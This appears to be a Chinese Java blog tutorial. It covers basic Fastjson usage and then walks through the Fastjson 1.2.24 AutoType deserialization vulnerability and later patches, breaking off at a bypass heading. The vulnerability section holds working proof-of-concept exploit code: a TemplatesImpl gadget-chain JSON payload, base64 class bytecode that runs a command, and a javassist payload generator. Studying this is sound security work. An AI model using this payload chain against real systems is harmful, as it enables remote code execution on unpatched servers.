不是,解析个JSON你给我弹出个计算器?

大家好,我是小顾,是一名Java开发者。在实际的项目中,我们会经常用到JSON格式的数据来和前端交互,还有一些字符串转JSON,JSON转字符串的场景。现在Java有很多成熟的JSON工具,比如Gson,Jackson等,不知道你们是用什么JSON解析工具呢?我上家公司用了是Fastjosn,这个工具是阿里巴巴开源的一个高性能JSON解析库,是阿里的温少以一己之力开发的,通过库的名称可以知道,这个工具是以快著称。它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 ## 前言 `fastjson` 网上的教程一大堆,那具体是怎么用的呢,下面我来整理一下基础的用法。 ### 引入依赖 要使用fastjson,需要在maven项目里的pom文件中添加这个库的依赖。 ```xml <dependency>  <groupId>com.alibaba</groupId>  <artifactId>fastjson</artifactId>  <version>x.x.x</version> </dependency> ``` 具体`Maven`的各个依赖的详细信息我们可以在这个网站上面查得到: [https://mvnrepository.com/artifact/com.alibaba/fastjson](https://mvnrepository.com/artifact/com.alibaba/fastjson) 如果要使用最新的v2版本,可以使用fastjson2: [https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2](https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2) ### 简单的demo #### 对象序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest {    public static void main(String[] args) {        // 将对象转为JSON字符串        User user = new User();        user.setId(1L);        user.setName("gulihua");        user.setPassword("12345678");        System.out.println(JSON.toJSONString(user));   } ​    @Data    public static class User {        private Long id;        private String name;        private String password;   } } ``` 这段代码就是将一个 `User` 对象转换为 JSON 格式的数据。输出结果如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/UyW9hnkD5ZwL5QjV.webp" alt="img](![image" width="100%" /> #### 对象反序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest {    public static void main(String[] args) { ​        // 将JSON字符串解析为Java对象        String jsonString = "{\"id\":2,\"name\":\"xiaogu\",\"password\":\"111111\"}";        User user = JSON.parseObject(jsonString, User.class);        System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword());   } ​    @Data    public static class User {        private Long id;        private String name;        private String password;   } } ``` 这段代码是将 JSON 字符串解析为 `User` 对象。输出结果如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/1VSfMFNAAshTfVFW.webp" alt="img](![image" width="100%" /> #### 集合序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest {    public static void main(String[] args) {        List<User> userList = new ArrayList<>();        userList.add(new User(1L, "gulihua", "123456"));        userList.add(new User(2L, "xiaogu", "11111111"));        System.out.println(JSON.toJSONString(userList));   } ​    @Data    @AllArgsConstructor    public static class User {        private Long id;        private String name;        private String password;   } } ``` 以上的代码就是新建了两个 `User` 对象,并且将它们添加到 `userList`集合中,然后转换成JSON 数组的字符串,下面是输出结果: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TO2MQh4It9zT1DFT.webp" alt="img](![image" width="100%" /> #### 集合反序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest {    public static void main(String[] args) {        String arr = "[{\"id\":1,\"name\":\"gulihua\",\"password\":\"123456\"},{\"id\":2,\"name\":\"xiaogu\",\"password\":\"11111111\"}]";        List<User> userList = JSON.parseArray(arr, User.class);        System.out.println(userList);   } ​    @Data    @AllArgsConstructor    @NoArgsConstructor    public static class User {        private Long id;        private String name;        private String password;   } } ``` 上面的代码是将一个JSON数组的字符串转化为 `User` 集合列表,输出: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/jFlo9EcbQznc6JG8.webp" alt="img](![image" width="100%" /> #### 代码分析 在上面的代码中,有一段 `User user = JSON.parseObject(jsonString, User.class);`这里为什么能够直接可以把字符串转为对象呢?这是因为JSON 字段和Java对象里的字段的名称是一样的,fastjson 使用 Java 的反射 API (`java.lang.reflect`) 动态加载 `User.class` 的结构,包括字段、方法、构造器等信息。 比如当JSON里面有`name`字段时,会自动去查询对应的`setName`方法,然后将解析后的值赋给对象字段。 我们看下源码: 在Java bean 反序列化的时候,会构建Javabean信息。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/SpTWCoBqejWXuLtE.webp" alt="img](![image" width="100%" /> 我们来看下`build`方法,在调用构建的时候,里面有 4 个`for循环`,第一个`for循环`是遍历所有的链式构建器方法,第二个`for循环`是遍历所有的`setter方法`,第三个`for循环`是遍历所有的`public字段`,第四个`for循环`是遍历所有的`getter方法`。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/CL7x3wvPOMrW2xr8.webp" alt="img](![image" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/V9XuKE4p7bftCPs4.webp" alt="img](![image" width="100%" /> 比如这里第二个`for循环`,它会遍历所有方法名以 `set` 开头,如果是`boolean`类型的方法,还会通过`isXxx`进行兼容处理,然后会解析方法的元信息和关联字段,生成 `FieldInfo` 对象,添加到 `fieldList` 中。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/2keacIIhKfkXk0Q9.webp" alt="img](![image" width="100%" /> 然后通过反射将对象的字段赋值或更新,支持普通字段、Atomic 类型(如 AtomicInteger)、Map 和 Collection 类型,比如Atomic 类型:调用字段或方法返回的对象的 set 方法更新值,Map 类型:将传入值中的所有键值对合并到目标 Map,Collection 类型:将传入值的所有元素添加到目标 Collection。当字段不属于上述特殊类型时,通过 field.set() 或 method.invoke() 直接通过反射方式设置值。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/k6nWi9GuzbdpS8iC.webp" alt="img](![image" width="100%" /> 那么问题来了,如果对象里的字段和JSON里的字段名称不一样怎么办呢,不要慌,有一个我们可以通过一个 `@JSONField`注解来指定对应的映射关系。可以看下下面的demo: ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest {    public static void main(String[] args) {        String jsonString = "{\"user_id\":2,\"user_name\":\"xiaogu\",\"user_password\":\"111111\"}";        User user = JSON.parseObject(jsonString, User.class);        System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword());   } ​    @Data    @AllArgsConstructor    @NoArgsConstructor    public static class User {        @JSONField(name = "user_id")        private Long id;        @JSONField(name = "user_name")        private String name;        @JSONField(name = "user_password")        private String password;   } } ``` 通过代码示例可以看到,如果字段不一样,直接通过 `@JSONField(name = "JSON字段名称")` 来映射对象和JSON字段的关系。 相关的代码: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dyaHNQG85tFauf6Z.webp" alt="img](![image" width="100%" /> 其实这个`build`方法的主要功能就是解析`bean类`的结构信息,遍历类的所有字段,包括私有字段和公共字段。如果字段有 `@JSONField` 注解,优先使用注解指定的名称和序列化特性。它也支持链接结构的build方法,如果有 `@JSONPOJOBuilder` 注解,就会提取 `buildMethod`,然后解析以特定前缀(如 `with`)开头的链式方法。它会识别以 `set` 开头的方法,将其映射为 JSON 属性。并支持集合、`Atomic` 类型字段的只读解析。 ## 起因 我们知道,fastjson 主要功能就是JSON字符串和bean的序列化、反序列化,但是它并没有使用jdk自带的序列化机制,而是自己实现了一套机制。对JSON来说,要想把Java对象转成JSON,要么是基于对象的属性,要么就是基于`get/set`方法。上面的代码分析中讲到,JSON转对象的时候,fastjson 会遍历所有的`set`方法,同理,在Java对象转JSON的时候,它会遍历所有的`get`的方法。而像其他的JSON库并不是这样写的,比如`Gson`,他是通过反射遍历该类中的所有属性,并把其值序列化成JSON。 我们首先看一个示例,我们定义了一个`User` 对象,里面有一个`Hobbies`类型的`hobbies`属性,这个`Hobbies`类型其实是一个自定义的接口。 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest {    @Data    @AllArgsConstructor    @NoArgsConstructor    public static class User {        private Long id;        private String name;        private Hobbies hobbies;   } ​    public interface Hobbies { ​   } ​ ​    @Data    @AllArgsConstructor    @NoArgsConstructor    public static class football implements Hobbies {        private String club;   } } ``` 接着,我们把他序列化一下: ```java public static void main(String[] args) {    User user = new User(1L, "gulihua", new football("myFootballTeam"));    System.out.println(JSON.toJSONString(user)); } ``` 当我们要对`User`进行序列化的时候,fastjson会扫描所有的的`get`方法,即找到`getId`、`getName`和`getHobbies`这时候就会将`id`、`name`、`hobbies`两个字段的值序列化到JSON字符串中,输出如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TkzmEeyu0Ikfodgc.webp" alt="img](![image" width="100%" /> 那么问题来了,这段JSON字符串能够成功的反序列化吗?如果能`hobbies`字段又被反序列化成什么呢,因为`hobbies`定义的是一个接口,反序列化时,它会反序列化成什么对象呢?试一下: ```java public static void main(String[] args) {    String str = "{\"hobbies\":{\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}";    User user = JSON.parseObject(str, User.class);    System.out.println(user); } ``` 输出: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PP9eJTlykHTmtT9J.webp" alt="img](![image" width="100%" /> 可以看到,`hobbies`字段并没有值。所以,当一个类中包含了一个接口的时候,在使用fastjson进行序列化的时候,会将实现的类型抹去,只保留接口的类型,使得反序列化时无法拿到原始类型。那如何去解决呢?那就是把原始类型记录下来不就行了,fastjson 里有一个序列化的配置`SerializerFeature.WriteClassName`可以记录原始类型: ```java public static void main(String[] args) {    User user = new User(1L, "gulihua", new football("myFootballTeam"));    System.out.println(JSON.toJSONString(user, SerializerFeature.WriteClassName)); } ``` 输出JSON字符串结果 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/gvuEbnV5tYeXHQK3.webp" alt="img](![image" width="100%" /> 可以看到,JSON字符串多出来个`@type`字段,值是接口原始类型的全类目,这样做的好处是方便在反序列化的时候指定具体的类型。试一下反序列化: ```java public static void main(String[] args) {        String json = "{\"@type\":\"org.example.JSONTest$User\",\"hobbies\":{\"@type\":\"org.example.JSONTest$football\",\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}";        User user = JSON.parseObject(json, User.class);        System.out.println(user);   } ``` 输出的对象: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/I0UzeQa7iLgPGoki.webp" alt="img](![image" width="100%" /> `hobbies`这个字段被成功解析出来了。 在 `fastjson` 中,`@type` 是一个特殊的字段,主要用于反序列化时指定目标对象的实际类型。它的作用是让 JSON 数据能够直接与 Java 类建立映射关系。 我们可以看下源码: 调用`parseObject`走到这里,然后调用`JavaBeanDeserializer`里的反序列化方法`deserialze` <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dH1a9zZVWrrAorV6.webp" alt="img](![image" width="100%" /> 在解析`key = @type`时候,会走到这里,通过`value`值调用`loadClass`方法加载这个类。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/YTsNoMYtJna2wn11.webp" alt="img](![image" width="100%" /> 然后根据类型名称获取了反序列化器,然后用反序列化器进行反序列化操作。之后的流程就和上面的相同了,遍历所有的`setter`方法,然后通过反射调用赋值。 这就是 fastjson 中引入`AutoType`的原因。但也正是因为这个功能,并且在设计之初安全方便考虑得不太全面,也给 fastjson 带来了很多的隐患。 ## 漏洞 因为引入了 `AutoType` 功能,fastjson 在对 JSON 字符串进行反序列化时,会读取 `@type` 字段的内容,尝试将 JSON 数据反序列化为指定的对象类型,并调用该类的 `setter/getter` 方法。基于这一特性,攻击者可以构造特定的 JSON 字符串,通过 `@type` 字段指定目标攻击类,从而实现恶意操作。 ### 弹出计算器 看下如下示例代码: 版本:fastjson 1.2.24、JDK 1.8.0\_402 代码: ```java public class OpenCalculator {    public static class Calculator {        public Calculator() throws Exception {            java.lang.Runtime.getRuntime().exec("open -a Calculator");       }   }    public static void main(String[] args) throws Exception {        String s = "{\"@type\":\"org.example.OpenCalculator$Calculator\"}";        ParserConfig config = new ParserConfig();        Object obj = JSON.parseObject(s, Object.class); ​   } } ``` 不是,我解析个JSON你咋给我弹出个计算器? <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/wOqAH3x9REEn9yGW.webp" alt="img](![image" width="100%" /> Fastjson:你甭管对不对,你就说快不快吧! <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/K4tB1yqxzXph1tDe.webp" alt="img](![image" width="238px" /> 其实在安全行业中,有一条约定俗成的规则:在安全比赛中,如果成功获取了计算器的控制权限并打开了其界面,就意味着这台计算机已经被攻破了。因为已经获得了远程代码执行(RCE)的权限,并能够在目标系统上运行任意命令。 我们来打个断点调试下,看下为什么会这样: 过程和上面类似,它会根据类型获取反序列化器,然后用反序列化器进行反序列化操作。通过断点可以看到,获取到的反序列化器是`FastjsonASMDeserializer`,这个序列化器通过`ASM机制`生成的临时代码源码是看不到的,那么什么是`ASM`呢,`ASM` 是一个强大的 Java 字节码操作框架,它可以灵活地动态生成一个Java 类,而无需手动编写文件。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/IBIcV4OEBP0VCLYW.webp" alt="img](![image" width="100%" /> 这个看到在这里,会创建一个实例对象。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/6BJ9Sj9WFs3GXBBc.webp" alt="img](![image" width="100%" /> 最后会调用到这个`Calculator类`的构造方法,运行打开计算器程序的命令。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/Rvw8GXAPKan38YpH.webp" alt="img](![image" width="100%" /> 我们知道,想要直接执行打开计算器的命令,以 Mac 为例,用的是`open -a Calculator`命令,如果是使用Java 程序代码运行打开计算器,需要用到 Java 的 `java.lang.Runtime`类,调用里面的`getRuntime()`方法,这是用于获取当前 Java 虚拟机 (JVM) 的运行时环境实例,通过这个实例,开发者可以访问和控制与 JVM 相关的一些底层操作,如内存管理、运行外部程序、垃圾回收等等。比如打开计算器的命令`java.lang.Runtime.getRuntime().exec("open -a Calculator");` 但是这段程序只能在有`org.example.OpenCalculator$Calculator`类的程序上运行,要想在服务器上执行一些命令,需要在服务器上动态生成一个类并加载。 我们先介绍一下`ClassLoader`,它是 Java 虚拟机 (JVM) 中一个核心组件,用于动态加载类文件。它将 `.class` 文件加载到 JVM 中,供程序运行时使用。`ClassLoader` 提供了一种灵活机制,使得 Java 可以支持动态加载和运行代码。里面有一个方法`defineClass`,这个方法是用于将字节码数据转换为 `Class` 对象。这是实现自定义类加载器的重要方法,可以绕过默认的双亲委派模型,实现自定义的类加载逻辑。但是它是`protected`访问权限,我们可以通过反射的方式修改权限,实现用它来加载我们的字节码文件。 我们先把刚刚的`Calculator`类提取出来,然后运行`javac Calculator.java`,编译成`.class`文件。 ```java /** * @author gulihua * @Description * @date 2024-12-12 15:40 */ public class Calculator {    public Calculator() throws Exception {        java.lang.Runtime.getRuntime().exec("open -a Calculator");   } } ``` 然后将`.class`文件字节数组生成base64字符串。 ```java yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg== ``` 然后运行 ```java public static void main(String[] args) throws Exception{        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);        defineClass.setAccessible(true);        byte[] code = Base64.decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg==");        Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Calculator", code, 0, code.length);        yyds.newInstance(); ​   } ``` 成功弹出了计算器 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/zi35tM85soKyX4BV.webp" alt="img](![image" width="100%" /> 虽然Java的`ClassLoader类`提供了`defineClass()`方法,可以把字节数组转换成Java类的示例,但是这里面的方法的作用域是被`Protected`修饰的,也就是说这个方法只能在当前包内访问,不能被其他包中的类访问,所以我们很难直接去调用它。 但是,我们可以看看这个方法有哪些地方调用到呢? 在`TemplatesImpl`类里面有个`defineTransletClasses`,不过也还是私有的。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PFLng49R8xPEC30A.webp" alt="img](![image" width="100%" /> 再往上找,发现是`getTransletInstance`方法掉用了`defineTransletClasses`,不过还是私有的。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/eVlPYoHRwH3KH9Sp.webp" alt="img](![image" width="100%" /> 继续找,终于找到了一个`public`的方法`newTransformer`,而这个方法,是有当前类的`getOutputProperties`方法调用的,这个是什么方法呢?很明显,`getXxx`的获取属性的方法,这个方法通常是反序列化调用的方法。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/hB3mZovytZQLO66F.webp" alt="img](![image" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/LYk7icKIw9fRV50f.webp" alt="img](![image" width="100%" /> 看下fastjson是在哪里调用的,因为`Properties`是继承`Hashtable`的,所有FastJSON在调用时,会先调用`getXxx`方法获取到`map`数据,然后在调用`putAll`方法把JSON里的新的元素添加进去。这不就调用到了`getOutputProperties`方法了吗。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/yHNn1lZGvGV0wcI0.webp" alt="img](![image" width="100%" /> 至此完整的调用链已经形成: Fastjson 使用反序列化器解析字段 --> Fastjson 通过反射调用`getOutputProperties`方法 --> 调用 `TemplatesImpl#newTransformer`方法 --> 调用 `TemplatesImpl#getTransletInstance`方法 --> 调用 `TemplatesImpl#defineTransletClasses`方法 --> 调用 `TemplatesImpl#defineClass`方法。但生效也是有触发条件的:需要在Fastjson代码中配置`Feature.SupportNonPublicField`。 我们看下`TemplatesImpl#defineTransletClasses`方法的具体源码:它会先判断`_bytecodes`是否为空,如果为空,会抛出异常;如果`_tfactory`为为空也会抛出空指针异常。继续往下看,`_bytecodes`就是`.class`文件的字节码数组集合,这个类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`,否则不会生效。然后会把类成员属性的`_transletIndex`设置成当前循环中的标记位,如果这个集合只有一个字节数组,那么标志位就是 0 。因此,我们需要通过反射的方式设置属性:`_bytecodes`、`_tfactory`、`_name`,这里的`_name` 就是类的名称。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/HINBlTpQCaKJA0Dg.webp" alt="img](![image" width="100%" /> 将刚刚的`Calculator`继承`AbstractTranslet`,然后改造下: ```java public class Calculator  extends AbstractTranslet {    public Calculator() throws Exception {        java.lang.Runtime.getRuntime().exec("open -a Calculator");   } ​    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { ​   } ​    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { ​   } } ``` 编译成`.class`文件,`base64`一下: ```java public static void main(String[] args) throws Exception {        String classBase64 = "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA9DYWxjdWxhdG9yLmphdmEMAAcACAcAHAwAHQAeAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAfACABAApDYWxjdWxhdG9yAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADgAEAA8ADQAQAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABoACwAAAAQAAQAPAAEAEQAAAAIAEg==";        try { ​            final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";            String json = "{" +                    "\"@type\":\"" + classPath + "\"," +                    "\"_bytecodes\":[\"" + classBase64 + "\"]," +                    "'_name':'Test'," +                    "'_tfactory':{ }," +                    "'_outputProperties':{}" +                    "}\n";            ParserConfig config = new ParserConfig();            System.out.println(json);            Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField);       } catch (Exception e) {            e.printStackTrace();       }   } ``` 成功弹出了计算器 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/D0QGDighewiP6ArO.webp" alt="img](![image" width="100%" /> 再进行升级改造下,我们刚刚都是手动写一个`Calculator`类,然后手动编译,这个类其实也可以动态生成,我们可以利用一个开源的 Java 字节码操作库`javassist`来动态生成一个计算器类。 引入包: ```xml <dependency>  <groupId>org.javassist</groupId>  <artifactId>javassist</artifactId>  <version>3.22.0-GA</version> </dependency> ``` 通常我们需要将`.java文件`使用`javac命令`编译成`.class文件`才能正常执行,`javasist`是一个处理字节码的类库,它提供了简单易用的API,能够动态生成或修改`class字节码`文件,与 ASM 等其他字节码框架相比,`Javassist` 更加高层次,操作起来更接近于直接操作 Java 源代码。现在来简单学习一下它的常用用法: Javassist中最为重要的是`ClassPool`、`CtClass`、`CtMethod`、`CtField以及CtConstructor`这几类。 CtClass(编译时类): CtClass 是 Javassist 中用于表示 Java 类的核心对象,它可以用来创建、修改或操作一个类的结构和方法。 ClassPool(类池):ClassPool 是一个容器,存储和管理所有 CtClass 对象的实例。它类似一个缓存系统,用来加载和存储类的定义。 CtMethod(编译时方法):CtMethod 用于表示类中的方法,支持动态添加、修改和删除。 CtField(编译时字段): CtField 用于表示类中的字段,可以动态添加或修改字段。 CtConstructor(编译时构造器):CtConstructor 用于表示类中的构造器,可以动态添加或修改构造方法。 使用方法: ```java public static void main(String[] args) throws Exception {    // 动态创建类    ClassPool pool = ClassPool.getDefault();    CtClass cc = pool.makeClass("Calculator");    // 定义类的初始化块插入代码    String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";    cc.makeClassInitializer().insertBefore(cmd);    // 设置类名    String randomClassName = "Calculator";    cc.setName(randomClassName);    // 设置父类    cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));    // 转位字节数组    byte[] bytes = cc.toBytecode();    String classBase64 = Base64.getEncoder().encodeToString(bytes);    try { ​        final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";        String json = "{" +        "\"@type\":\"" + classPath + "\"," +        "\"_bytecodes\":[\"" + classBase64 + "\"]," +        "'_name':'Calculator'," +        "'_tfactory':{ }," +        "'_outputProperties':{}" +        "}\n";        ParserConfig config = new ParserConfig();        System.out.println(json);        Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField);   } catch (Exception e) {        e.printStackTrace();   } } ``` 执行,成功弹出~ <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/njYRp1zL7xDTYqhb.webp" alt="img](![image" width="100%" /> ### 修复 在爆出了反序列化漏洞之后,在版本`1.2.25`Fastjson 就立即修复了这个高危漏洞,引入了黑名单的机制。我们吧版本升级一下,试着执行原来的代码。它会报`autoType is not support.`的异常。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/MosrPrkR8o0KPaBC.webp" alt="img](![image" width="100%" /> 我们来看下它引入了哪些黑名单: ```java bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework ``` 具体就是上面那几个包名了。我们来看下它的逻辑,在`ParserConfig`中,有个`checkAutoType()`方法,如果没有开启`autoType`,就先判断类名在不在黑名单中,如果在黑名单里,就直接抛出异常。然后再去匹配白名单,如果在就用`TypeUtils.loadClass`加载。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/X82Lql1p2Yfy0dJk.webp" alt="img](![image" width="100%" /> 如果开启了`autoType`配置,则先匹配白名单,然后再去匹配黑名单。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/hxDpJroy6jsrV9rY.webp" alt="img](![image" width="100%" /> 如果反序列化的类名不在黑名单里,也只有开启了`autoType`或者`expectClass`不为空时才会调用`TypeUtils.loadClass`加载,否则`fastjson`会默认禁止加载该类。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/5YnPeRH8l7aAW603.webp" alt="img](![image" width="100%" /> ### 后续版本 其实从`1.2.25`版本之后的很长一段时间,网上披露了很多绕过黑名单的用于JNDI注入的利用链,我认为影响都是不大,原因有以下三点: 1)有的版本`AutoType` 必须要开启; 2)基于`JNDI+RMI`或`JDNI+LADP`进行漏洞攻击,会有一定的JDK版本的限制; 3)一些调用链还需要依赖第三方库,有的项目中可能不会用到这些。 不过感兴趣的同学也可以自已试下,看能不能注入进去。我这里也不打算详细说了,因为我也没有复现出来哈哈,可能是`JDK`版本的问题。其实原理都是一样的,看源码,找注入点。 #### 版本 1.2.42 在版本`1.2.42`中,在`ParserConfig.java`中将黑名单的类变成了hash值,应该防止知道类名而进行绕过。不过这些类名的hash都是可以爆破的,目前大部分的内容都已经被爆破出来了。 项目地址: [GitHub - LeadroyaL/fastjson-blacklist](https://github.com/LeadroyaL/fastjson-blacklist) <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dBu2InSfxiyi1JOu.webp" alt="img](![image" width="100%" /> #### 版本 1.2.68 在这个版本中,引入了`safeMode`,配置`safeMode`后,无论白名单和黑名单,都不支持`AutoType`,可以有效地避免了利用`@type`进行渗透攻击,但是这个配置默认是关闭的。 不过这个版本也还是有反序列化漏洞的,可以实现在`AutoType`关闭的情况下绕过了`ParserConfig#checkAutoType()`的安全检查,但是这个漏洞的危害程度要小于之前版本的漏洞,具体还要看对应的服务的情况。 这个漏洞其实还是看`ParserConfig#checkAutoType()`里面的逻辑。 要想绕过检查,以下的几种情况可以通过 验证: 1)`autoTypeCheckHandlers`不为null <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/d6UEC5bTHOmqYc8d.webp" alt="img](![image" width="100%" /> 2)`expectClassFlag`不为null时不能为以下几个类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/LZjdQOrO5BDk8myl.webp" alt="img](![image" width="100%" /> 3)在缓存`mapping`中的类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/GpGe3MSg5YkOyXTi.webp" alt="img](![image" width="100%" /> 在`TypeUtils`的缓存中的都是一些基础的类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/1cLMXSTZsDjBcTDY.webp" alt="img](![image" width="100%" /> 4)不在黑名单里的,但在白名单里的类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/6Yt4uKzuYz5ucSVH.webp" alt="img](![image" width="100%" /> 5)类不能是是`ClassLoader`、`DataSource`和`RowSet`的子类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/rwByRwTtzBBwnvEY.webp" alt="img](![image" width="100%" /> ##### 绕过方法(Throwable) 